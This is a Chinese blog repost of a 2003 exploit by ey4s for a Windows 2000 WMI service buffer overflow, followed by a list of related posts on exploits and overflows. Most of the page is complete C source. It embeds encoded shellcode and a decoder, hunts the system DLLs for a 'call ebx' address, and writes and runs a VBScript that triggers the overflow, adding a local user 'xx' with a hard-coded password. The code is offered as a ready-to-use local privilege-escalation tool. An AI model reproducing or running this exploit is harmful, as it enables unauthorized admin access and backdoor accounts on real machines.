【例子】windows 2000 wmi service buffer overflow expolit

WebDav漏洞简单分析及通用exploit设计 WebDav漏洞简单分析及通用exploit设计    拜读了isno写的>、>,以及Nankia写的>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别是yuange所写的>。在这过程中我学到了很多东西,自己也有些心得体会,其中可能有不少错误的地方,于是便想写下来,一来请各 阅读详情

windows 2000 wmi service buffer overflow expolit


创建时间:2003-05-28
文章属性:原创
文章提交: eyas (ey4s_at_21cn.com)

windows 2000 wmi service buffer overflow expolit

ey4s<cooleyas@21cn.com>
2003-04-27

WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U

wmi默认只有administrators才可以远程连接,所以只有能在目标系统上运行程序的用户才能利用。
本地用户可用来提升权限。
此程序可用于简体中文、繁体中文、日文、韩文系统sp0-3上。
不需要指定任何参数,程序会自动搜索可用的call ebx地址。
用c代码来与wmi service通讯太复杂了,所以程序是生成两个文件,一个是存放exploit buffer的
buff.txt,一个是xWMI.vbs。

/*----------------------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>

#define    NOPCODE        0x4F//0x4F//'O'
#define BUFFLEN        (65536+8)/2
#define OVERPOINT    0x260//溢出点-0x14 SEH-0x4

int    g_iCodePage;
char    g_szDllList[5][16]={"kernel32.dll",
            "advapi32.dll",
            "user32.dll",
            "gdi32.dll",
            "ole32.dll"};
char            *g_szWideCharShort;
unsigned char    jmpover[]="/x41/x90/x41/x68";//0x41 inc ecx , 0x68  push num32
unsigned char    decoder[]=
"/x4F/x75/x05/x74/x03/x4E/xC3/x4F/x53/x90/x5E/x66/xAD/x4E/x46/x4F"
"/x43/x66/x3D/x97/x6F/x90/x51/x90/x59/x75/xF0/x53/x56/x5F/x4A/x57"
"/x43/x66/xAD/x50/x43/x66/x3D/x4F/x00/x90/x59/x74/xD9/x4E/x2C/x64"
"/x50/x59/x46/x4F/x47/x90/x43/x66/xAD/x50/x4B/x58/x2C/x64/x4A/x57"
"/x51/x90/x90/x5F/x03/xFF/x03/xFF/x03/xFF/x03/xFF/x91/x03/xCF/x91"
"/x90/x5F/xAA/x90/x41/x74/xCA/x90/x51/x90/x59/x75/xC4/x4E/x97/x6F";
unsigned char    xShellCode[]=
"iilorprojhinoldhddsekkleglhqinmdddkhdghlrosiloqllokggpdgsglokjkldgsglokrfddgsolo"
"hrehggrqijikielogsdgsolosfggpmlgpedrsgnjkhdlimislgpkdhhirfrkimisirlopqlohjfhdgpg"
"qeredgpeggpmjjlodllohjepdgpgperedfdgpelodddgpgrodfrogklosnlosflmdjlgpkdsikigssqd"
"lgpjdhlmdjlgpkdlikiglohjspssqdlgpjdhlmdjggpdidlgpkdjiklohjspssqdolssssssssidlodj"
"ssqdrlirsssssshkjikhidkfjsjghejhjhkfjikgkgddikjmjrhikljijgddigjpjijikdddjgjqjhfd"
"fsjgfdjrjikhfrjikljifdkikgjikffdklklfdgejefefrgmjrhlfdfsjejhjhfdfjfjfdjrjikhfdjp"
"jsjgjejpjkkfjskikdfdjejhjqjmjrjmkgkhkfjekhjskfkgfdklklfdfsjejhjhdd";

int        SearchRET();
BOOL    MakeWideCharList();
DWORD WINAPI func(LPVOID lp);

void main()
{
    int        retaddr,i,j,iPathLen, iwLen;
    unsigned char *pStr, widecharbuff[0x500], multibytebuff[0x500];
    unsigned char szVBS[0x1000], szPath[256], szPath2[256];
    FILE    *f;

    printf( "xWMI -> win2k WMI service buffer overflow exploit/n"
        "WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U/n"
        "for win2k which default codepage is GB、BIG5、Korean、JP sp0-3/n"
        "Written by ey4s<cooleyas@21cn.com>/n"
        "2003-04-27/n"
        "thanks to yuange/n/n");

    MakeWideCharList();
    retaddr = SearchRET();
    if(!retaddr) return;
    
    pStr = (unsigned char *)malloc(40000);
    memset(pStr, 0, 40000);

    //get current path
    iPathLen = GetCurrentDirectoryA(sizeof(szPath)-1, szPath);
    if(!iPathLen)
    {
        printf("GetCurrentDirectoryA failed:%d/n",  GetLastError());
        return;
    }

    /*转换字符*/
    memset(widecharbuff, 0, sizeof(widecharbuff));
    //jmp over
    memcpy(widecharbuff,jmpover,4);
    //jmp addr
    memcpy(widecharbuff+4,&retaddr,4);
    //decoder
    memcpy(widecharbuff+8,decoder,sizeof(decoder));
    iwLen=wcslen((unsigned short *)widecharbuff);
    i=WideCharToMultiByte(g_iCodePage,0,(unsigned short *)widecharbuff,
        iwLen*2,multibytebuff,0x1000,0,0);
    i=strlen(multibytebuff);

    //组合buffer
    memset(pStr, NOPCODE, BUFFLEN+iwLen);
    memcpy(pStr, szPath, iPathLen);
    pStr[iPathLen]=(BYTE)'//';
    //jmpover & jmpaddr
    memcpy(pStr+OVERPOINT/2, multibytebuff, i);
    //real shellcode
    memcpy(pStr+OVERPOINT/2+i, xShellCode, strlen(xShellCode));

    f = fopen("buff.txt", "w");
    fprintf(f, "%s", pStr);
    fclose(f);
    free(pStr);

    printf("write exploit buffer to file %s//buff.txt/n", szPath);

    //replace '/' to '//'
    memset(szPath2, 0, sizeof(szPath2));
    for(i=0,j=0;i<strlen(szPath);i++,j++)
    {
        if(szPath[i]==(BYTE)'//')
            szPath2[j++]=szPath[i];
        szPath2[j]=szPath[i];
    }

    sprintf(szVBS,  "Set fso = CreateObject(/"Scripting.FileSystemObject/")/n"
            "set f2=fso.OpenTextFile(/"buff.txt/",1,false,TristateTrue)/n"
            "szBuffer=f2.ReadAll/n"
            "f2.Close/n"
            "Set fso = Nothing/n"
    "Set ServiceSet = GetObject(/"winmgmts:{impersonationLevel=impersonate}/")._/n"
            "ExecQuery(/"select * from Win32_Directory where Name='%s'/")/n"
            "for each Service in ServiceSet/n"
            "   WScript.Echo /"if you can see thie line,it maybe success!/"/n"
            "   Service.Copy(szBuffer)/n"
            "next/n"
            ,szPath2);
    f = fopen("xWMI.vbs", "w");
    fprintf(f, "%s", szVBS);
    fclose(f);
    printf("create exploit execute file %s//xWMI.vbs/n", szPath);
    printf( "Execute exploit file %s//xWMI.vbs/n"
        "if success, exploit will add a user xx password is 1a!.9nH/n", szPath);
    CreateThread(0, 0, func, NULL, 0, NULL);
    Sleep(20000);
    DeleteFile("buff.txt");
    DeleteFile("xWMI.vbs");
    printf("Done./n");
    return;
}

DWORD WINAPI func(LPVOID lp)
{
    system("cscript.exe xWMI.vbs");
    return 0;
}

BOOL MakeWideCharList()
{
    int        iCodePage,i,j,ret;
    char    szCodePage[128];
    unsigned char wbuff[4];
    unsigned char wbuff2[4];
    unsigned char buff[4];

    if(!GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_IDEFAULTCODEPAGE,
        szCodePage, sizeof(szCodePage)-1))
    {
        printf("GetLocaleInfo failed:%d/n", GetLastError());
        return FALSE;
    }
    iCodePage = atoi(szCodePage);
    printf("System default codepage is %d/n", iCodePage);
    g_iCodePage = iCodePage;
    g_szWideCharShort = (char *)malloc(65536);
    memset(g_szWideCharShort, 1 , 65536);

    for(i=0;i<256;i++)
    {
        for(j=0;j<256;j++)//for 3
        {
            if((i==0) && (j==0)) j=1;
            memset(buff, 0, 4);
            memset(wbuff2, 0, 4);
            wbuff[0]=(BYTE)i;
            wbuff[1]=(BYTE)j;
            wbuff[2]=(BYTE)'/0';
            wbuff[3]=(BYTE)'/0';
            if(!(ret = WideCharToMultiByte(iCodePage, 0,
                (unsigned short *)wbuff, 1, buff, 2, 0,0)))        
            {
                printf("WideCharToMultiByte error:%d/n", GetLastError());
                return FALSE;
            }
            if(!(ret = MultiByteToWideChar(iCodePage, 0, buff,
                strlen(buff), (unsigned short *)wbuff2, 1)))
            {
                printf("MultiByteToWideChar error:%d %d/n",
                     GetLastError(), ret);
                return FALSE;
            }
            //判断经过两次转换后是否改变
            //只要在任何一种code page改变都视为非法wide char范围
            if(*(DWORD *)wbuff != *(DWORD *)wbuff2)
                g_szWideCharShort[(BYTE)wbuff[0]*0x100 + (BYTE)wbuff[1]] =
                                         (BYTE)'/0';
        }
    }
    return TRUE;
}
int SearchRET()
{
    HMODULE    h;
    BOOL    bDone;
    BYTE    *ptr;
    int        i,j,pos,index1,index2,k1,k2,k3,k4;

    for(i=0;i<5;i++)
    {
        bDone = FALSE;
        pos = 0;
        h = LoadLibrary(g_szDllList[i]);
        if(h == NULL)
        {
            printf("LoadLibrary %s error:%d/n",
                     g_szDllList[i], GetLastError());
            continue;
        }
        ptr = (BYTE*)h;
        printf("start search FFD3 in %s/n", g_szDllList[i]);
        for(j=0;!bDone;j++)
        {
            __try
            {
                //FF D3 --> call ebx
                //不用包含00的地址
                if(ptr[j] == (BYTE)'/xFF' && ptr[j+1] == (BYTE)'/xD3')
                {
                    pos = (int)ptr + j;
                    k1=((pos&0x00FF0000)>>8);
                    k2=((pos&0xFF000000)>>24);
                    k3=((pos&0xFF)<<8);
                    k4=((pos>>8)&0xFF);
                    index1 = k1 + k2;
                    index2 = k3 + k4;
                    if( (g_szWideCharShort[index1] == (BYTE)'/x00') ||
                        (g_szWideCharShort[index2] == (BYTE)'/x00') ||
                        (k1 == 0) ||
                        (k2 == 0) ||
                        (k3 == 0) ||
                        (k4 == 0) )
                        pos = 0;
                }
            }//end of try
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                bDone = TRUE;
            }
            if(pos) break;
        }
        if(h)
        {
            FreeLibrary(h);
            h = NULL;
        }
        if(pos)
        {
            printf("Found opcode at 0x%.8X in %s/n", pos, g_szDllList[i]);
            break;
        }
    }
    return pos;
}
服务端buffer设置 node1:/root/test#cat t2.py # coding = utf-8 # -*- coding:utf-8 -*- import socket ip_port = ('192.168.137.2',8080) BUFSIZE = 60 SEND_BUF_SIZE = 500 RECV_BUF_SIZE = 14 s=socket.socket(socket.AF_INET,s... 阅读详情

相关推荐

【论文+CAD图纸】光储充一体化微电网设计

近些年来,我国的经济发展迅速,对能源的需求不断增长,也加重了对环境的破坏,违背了我国的可持续发展战略。所以迫切需要寻找新型能源。由于太阳能在使用时不会产生污染,所以太阳能逐渐受到人们的重视。我国的太阳能资源丰富,具有的开发利用潜力。特别是近些年“光储充”一体化充电站为高科技绿色充电模式,“以光养桩”使光伏、储能、智能充电协同,智能微电网与公共电网互动,本设计对探索清洁可再生能源在民用场合的应用,有着重大的理论和工程价值。本文综述国内外相关光伏发电的成果和发展现状;

weixin_761237174的博客 927

1、GeometryService的缓冲区(Buffer)功能实现

1、创建地图,并创建load的响应函数initToolbar map = new Map("map", { basemap: "streets", center: [-111.5, 39.541], zoom: 7 }); ...

diaoji8156的博客 815

光谱数据计算CIE值(三刺激值、CIE1931、CIE1976、CCT)软件

软件界面如下,免安装,拷贝即可使用 导入光谱数据即可计算三刺激值、CIE1931、CIE1976、CCT CIE1931、CIE1976色坐标图形只管显示 导入的光谱数据格式如下,txt文本 波长380到780,间隔1nm 注意:缺省的数据默认写0即可 下面为一些CIE相关介绍: CIE(国际发光照明委员会):原文为Commission Internationale de L’Eclairage(法)或International Commission on Illumination(英)。这个委员会创

业余程序员小徐的博客 2万+

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

雷电模拟器安装面具环境并过软件检测系列(看这一篇就够了!)

雷电模拟器安装面具环境并过基本软件的环境检测

qq_45059975的博客 6万+

2023年金蝶云星辰初级顾问认证参考试题(1)

最新积累的考试真题,答案只供参考(49分T~T),欢迎大佬们更正,私聊我修改,有新的试题也可以私聊我,日后会完善题库!大家一起努力,预祝大家顺利通过!1.【简单】生产环节中,客户老板希望掌握材料的超发或漏发情况,,以便分析用料情况,对材料浪费进行管控,可以查看什么报表?⒉[中等】客户主营电气柜的生产销售,商品为非标品需定制,又因交期效短,需要边生产边补料,以下哪个功能最适合该客户场景?15.【简单】在给商品设置科目关联时,分别按照单个商品,商品类别,所有商品设置了对应客户,()优先级最高。

MLX00的博客 7978

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

激光雷达与相机时间戳同步:原理、触发方案与工程实现

目录一、引言:时间不同步,多传感器融合必出问题二、核心原理:相机成像机制与触发模式(同步的基础)2.1 相机成像的两个核心阶段:曝光与读出(1)非交叠曝光(2)交叠曝光2.2 相机触发模式:内触发 vs 外触发(1)内触发(2)外触发2.3 关键信号:Strobe信号与预输出(同步的核心技巧)三、三种主流时间戳同步方案(工程落地首选)3.1 方案一:统一硬触发(精度最高,高端场景首选)核心原理核心配置要点优缺点适用场景3.2 方案二:软触发+硬触发(Strobe预输出,车载量产首选)核心原理核心配置要点优缺

getusushu的博客 205

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174

银河麒麟硬盘健康检测:smartctl/badblocks实战与坏盘预判

xfs_repair检查。S.M.A.R.T检测。

信创运维工程师 · 银河麒麟 & 容器实战 | 金融生产环境迁移·等保加固 | 142篇原创·17万+阅读 860

Agentic-Desktop-Pet:构建本地智能桌面助手的架构与实践

智能体(Agent)作为人工智能领域的重要概念,是指能够感知环境、自主决策并执行任务以实现目标的软件实体。其核心原理在于结合感知、决策与执行模块,通过大语言模型(LLM)等推理引擎处理信息并驱动行动。这种架构的技术价值在于将AI的认知能力与具体的操作系统环境深度融合,从而创造出能主动理解用户上下文、提供个性化服务的智能伙伴。在应用场景上,智能体技术正从云端对话机器人向本地化、场景化的桌面助手演进,旨在解决传统自动化工具缺乏智能、而纯聊天机器人脱离操作环境的问题。本文探讨的Agentic-Desktop-Pe

weixin_27210125的博客 623

【分析】对于SSH crc32 compensation attack detector exploit 的分析

对于SSH crc32 compensation attack detector exploit 的分析创建时间:2001-11-12文章属性:整理文章提交:xundi (xundi_at_xfocus.org)by xundi@xfocus.orghttp://xfocus.org2001/11/10由于SSH crc32 compensation attack detector exploit

FreeXploiT 3575

点云处理实操(四) -PCL中的点云三角化

点云处理实操(四) -PCL中的点云三角化

cangqiongxiaoye的博客 939

【实战】Serv-U "site chmod xxx" Exploit

Serv-U "site chmod xxx" Exploit创建时间:2004-02-20文章属性:转载文章提交:velvet (zodiacsoft_at_hotmail.com)论坛登陆名: SWAN提交者邮件地址: ????提交者QQ号码: ????版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!标题: Serv-U "site ch

FreeXploiT 3009

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法创建时间:2003-03-29文章属性:原创文章来源:http://www.xfocus.net文章提交:isno (isno_at_sina.com)by isno    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的

FreeXploiT 2941

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

【原理+实战】window系统下的堆栈溢出

window系统下的堆栈溢出作者:ipxodi>日期:2000-05-23◆原理篇这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#include int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x"

FreeXploiT 2765

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Win32 缓冲区溢出实战 (转)

Win32 缓冲区溢出实战 --------------------------------------------------------------------------------    原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写

FreeXploiT 2554

【分析】Serv-U "MDTM"命令远程溢出分析

Serv-U "MDTM"命令远程溢出分析创建时间:2004-03-05文章属性:转载文章提交:peak (pe4k_at_eyou.com)Serv-U "MDTM"命令远程溢出分析                                       czy 于 04.02.29    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must ha

FreeXploiT 2552

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

 作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明: 作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免

FreeXploiT 2374

【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.创建时间:2002-08-15文章属性:翻译文章提交:1cbm (edp_at_mail.victoriagrandhotel.com)UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums. =======

FreeXploiT 2373

nc 1.1 -e 远程缓冲区溢出

/* Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1 Homepage..........: http://www.securityfocus.com/tools/139/scoreit Affected versions.: v1.1 Fix....

FreeXploiT 2360

浅析mcafee的“缓冲区溢出保护”及绕过方法【安焦Leven】

[mcafee的“缓冲区溢出保护”]    如果处在堆栈里的shellcode调用了getprocaddress等函数,mcafee会中止当前进程并报警。[分析原理]    mcafee对所有进程截获了loadlibrarya、loadlibraryw、getprocaddress等api函数,方法类似api截获:将这些函数的开始几个字节改为call detectapiret,即调用entapi.

FreeXploiT 2354

【例子】WIN平台缓冲溢出程序编写

创建时间:2001-06-30文章属性:转载文章来源:http://go4.163.com/watercloud/文章提交:quack (quack_at_xfocus.org)post by cloud (safesuite@263.net)最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下 下载win_of.zip题目有:        01

FreeXploiT 2226

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 215

Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”

滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。

qq_41241612的博客 108

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 215
上一篇: 【实战】windows 2000 kernel exploit 的一点研究
下一篇: 【实战】WebDav漏洞简单分析及通用exploit设计
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值